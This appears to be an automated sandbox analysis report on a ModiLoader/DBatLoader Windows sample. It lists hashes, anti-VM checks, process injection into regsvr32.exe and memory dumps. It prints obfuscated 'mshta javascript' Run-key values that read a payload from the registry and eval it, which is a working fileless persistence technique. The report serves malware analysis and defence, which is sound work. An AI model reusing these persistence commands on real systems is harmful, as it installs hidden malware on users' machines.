Analysis
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max time kernel
150s -
max time network
153s -
platform
windows7_x64 -
resource
win7-20240611-en -
resource tags
arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system -
submitted
16-06-2024 14:47
Static task
static1
Behavioral task
behavioral1
Sample
b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe
Resource
win10v2004-20240508-en
General
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Target
b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe
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Size
476KB
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MD5
b40e7591d3334624579042161dbaeacb
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SHA1
2b27b42bd458e6d582f1b54932e5744fc82855ad
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SHA256
63c8979bce14d879fbfa7263d37ea4433d7268dde1add2beda5040a52bb0792f
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SHA512
61c941db8214464f82fb153f820d84fc80969b8ce0ade624cd2c8e95c5d66d3ee357e36f6de8e0f63e1e4f72712994968895a47a117252c2a5218ef68a558a5d
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SSDEEP
12288:kiV3E6TOPUzsnL7JmB3eHYC0H1iX78q7q92X2T:tE6TOPUzs/JmByYrVzZ
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
ModiLoader Second Stage 41 IoCs
Processes:
resource yara_rule behavioral1/memory/2540-2-0x0000000000400000-0x000000000047E000-memory.dmp modiloader_stage2 behavioral1/memory/2540-4-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2540-6-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2540-8-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2540-5-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2540-9-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2540-16-0x0000000000400000-0x000000000047E000-memory.dmp modiloader_stage2 behavioral1/memory/2120-20-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2120-23-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2120-22-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2120-21-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2120-19-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2120-24-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2564-35-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2564-38-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2564-36-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2564-37-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2564-41-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2564-43-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2564-46-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2564-42-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2564-44-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2564-40-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2564-45-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2564-47-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2564-48-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2564-39-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2564-34-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2452-56-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2452-57-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2452-55-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2452-54-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2452-53-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2452-52-0x0000000000190000-0x000000000025C000-memory.dmp modiloader_stage2 behavioral1/memory/2564-58-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2564-59-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/264-64-0x0000000000250000-0x000000000031C000-memory.dmp modiloader_stage2 behavioral1/memory/264-67-0x0000000000250000-0x000000000031C000-memory.dmp modiloader_stage2 behavioral1/memory/264-66-0x0000000000250000-0x000000000031C000-memory.dmp modiloader_stage2 behavioral1/memory/264-65-0x0000000000250000-0x000000000031C000-memory.dmp modiloader_stage2 behavioral1/memory/264-63-0x0000000000250000-0x000000000031C000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:HB1LH8YrRL=\"lIjAFv\";LK0=new%20ActiveXObject(\"WScript.Shell\");xFv6NqDD=\"ibfAtg\";XeS64d=LK0.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\1252912de7\\\\3b9ecf21\");cdFcV7M=\"uKIn48IVI\";eval(XeS64d);fXSPprd35b=\"B2CCW0walh\";" regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
Processes:
regsvr32.exepid process 2564 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Qli2Lka=\"Q\";uv8=new%20ActiveXObject(\"WScript.Shell\");JyxI7FK=\"IpVkU\";Du2g1D=uv8.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\1252912de7\\\\3b9ecf21\");rM2TZqnA=\"hfHH\";eval(Du2g1D);cJCxMU4D=\"ZtgJ\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Q9PyqeYR=\"yJo0\";e8n0=new%20ActiveXObject(\"WScript.Shell\");btOmBq4f=\"29\";dUF1O=e8n0.RegRead(\"HKCU\\\\software\\\\1252912de7\\\\3b9ecf21\");JZ5hCrv3u=\"7BTar\";eval(dUF1O);OHrX6Dmg=\"xO1RFN\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe -
Processes:
regsvr32.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-39690363-730359138-1046745555-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
regsvr32.exepid process 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
Processes:
b40e7591d3334624579042161dbaeacb_JaffaCakes118.exeregsvr32.exeregsvr32.exepid process 2540 b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe 2540 b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe 2540 b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe 2120 regsvr32.exe 2120 regsvr32.exe 2120 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe 2564 regsvr32.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
b40e7591d3334624579042161dbaeacb_JaffaCakes118.exedescription pid process Token: SeShutdownPrivilege 2540 b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe Token: SeShutdownPrivilege 2540 b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe Token: SeShutdownPrivilege 2540 b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe Token: SeShutdownPrivilege 2540 b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
b40e7591d3334624579042161dbaeacb_JaffaCakes118.exeregsvr32.exeregsvr32.exedescription pid process target process PID 2540 wrote to memory of 2120 2540 b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe regsvr32.exe PID 2540 wrote to memory of 2120 2540 b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe regsvr32.exe PID 2540 wrote to memory of 2120 2540 b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe regsvr32.exe PID 2540 wrote to memory of 2120 2540 b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe regsvr32.exe PID 2540 wrote to memory of 2120 2540 b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe regsvr32.exe PID 2540 wrote to memory of 2120 2540 b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe regsvr32.exe PID 2540 wrote to memory of 2120 2540 b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe regsvr32.exe PID 2120 wrote to memory of 2564 2120 regsvr32.exe regsvr32.exe PID 2120 wrote to memory of 2564 2120 regsvr32.exe regsvr32.exe PID 2120 wrote to memory of 2564 2120 regsvr32.exe regsvr32.exe PID 2120 wrote to memory of 2564 2120 regsvr32.exe regsvr32.exe PID 2120 wrote to memory of 2564 2120 regsvr32.exe regsvr32.exe PID 2120 wrote to memory of 2564 2120 regsvr32.exe regsvr32.exe PID 2120 wrote to memory of 2564 2120 regsvr32.exe regsvr32.exe PID 2564 wrote to memory of 2452 2564 regsvr32.exe regsvr32.exe PID 2564 wrote to memory of 2452 2564 regsvr32.exe regsvr32.exe PID 2564 wrote to memory of 2452 2564 regsvr32.exe regsvr32.exe PID 2564 wrote to memory of 2452 2564 regsvr32.exe regsvr32.exe PID 2564 wrote to memory of 2452 2564 regsvr32.exe regsvr32.exe PID 2564 wrote to memory of 2452 2564 regsvr32.exe regsvr32.exe PID 2564 wrote to memory of 2452 2564 regsvr32.exe regsvr32.exe PID 2564 wrote to memory of 264 2564 regsvr32.exe regsvr32.exe PID 2564 wrote to memory of 264 2564 regsvr32.exe regsvr32.exe PID 2564 wrote to memory of 264 2564 regsvr32.exe regsvr32.exe PID 2564 wrote to memory of 264 2564 regsvr32.exe regsvr32.exe PID 2564 wrote to memory of 264 2564 regsvr32.exe regsvr32.exe PID 2564 wrote to memory of 264 2564 regsvr32.exe regsvr32.exe PID 2564 wrote to memory of 264 2564 regsvr32.exe regsvr32.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\b40e7591d3334624579042161dbaeacb_JaffaCakes118.exe"1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2540 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2564 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:2452
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C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:264
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/264-64-0x0000000000250000-0x000000000031C000-memory.dmpFilesize
816KB
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memory/264-63-0x0000000000250000-0x000000000031C000-memory.dmpFilesize
816KB
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memory/264-65-0x0000000000250000-0x000000000031C000-memory.dmpFilesize
816KB
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memory/264-66-0x0000000000250000-0x000000000031C000-memory.dmpFilesize
816KB
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memory/264-67-0x0000000000250000-0x000000000031C000-memory.dmpFilesize
816KB
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memory/2120-24-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
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memory/2120-22-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
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memory/2120-19-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
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memory/2120-14-0x00000000004F0000-0x00000000004F7000-memory.dmpFilesize
28KB
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memory/2120-21-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
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memory/2120-18-0x00000000004F0000-0x00000000004F7000-memory.dmpFilesize
28KB
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memory/2120-20-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
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memory/2120-23-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
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memory/2452-51-0x00000000004F0000-0x00000000004F7000-memory.dmpFilesize
28KB
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memory/2452-52-0x0000000000190000-0x000000000025C000-memory.dmpFilesize
816KB
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memory/2452-56-0x0000000000190000-0x000000000025C000-memory.dmpFilesize
816KB
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memory/2452-57-0x0000000000190000-0x000000000025C000-memory.dmpFilesize
816KB
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memory/2452-55-0x0000000000190000-0x000000000025C000-memory.dmpFilesize
816KB
-
memory/2452-49-0x00000000004F0000-0x00000000004F7000-memory.dmpFilesize
28KB
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memory/2452-54-0x0000000000190000-0x000000000025C000-memory.dmpFilesize
816KB
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memory/2452-53-0x0000000000190000-0x000000000025C000-memory.dmpFilesize
816KB
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memory/2540-2-0x0000000000400000-0x000000000047E000-memory.dmpFilesize
504KB
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memory/2540-16-0x0000000000400000-0x000000000047E000-memory.dmpFilesize
504KB
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memory/2540-8-0x0000000000050000-0x000000000011C000-memory.dmpFilesize
816KB
-
memory/2540-6-0x0000000000050000-0x000000000011C000-memory.dmpFilesize
816KB
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memory/2540-4-0x0000000000050000-0x000000000011C000-memory.dmpFilesize
816KB
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memory/2540-1-0x0000000000240000-0x0000000000241000-memory.dmpFilesize
4KB
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memory/2540-5-0x0000000000050000-0x000000000011C000-memory.dmpFilesize
816KB
-
memory/2540-9-0x0000000000050000-0x000000000011C000-memory.dmpFilesize
816KB
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memory/2540-0-0x00000000020D0000-0x00000000021D0000-memory.dmpFilesize
1024KB
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memory/2564-43-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2564-46-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2564-39-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2564-48-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2564-47-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2564-45-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2564-40-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2564-44-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2564-42-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2564-34-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2564-58-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2564-59-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2564-41-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2564-37-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2564-36-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2564-38-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
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memory/2564-35-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB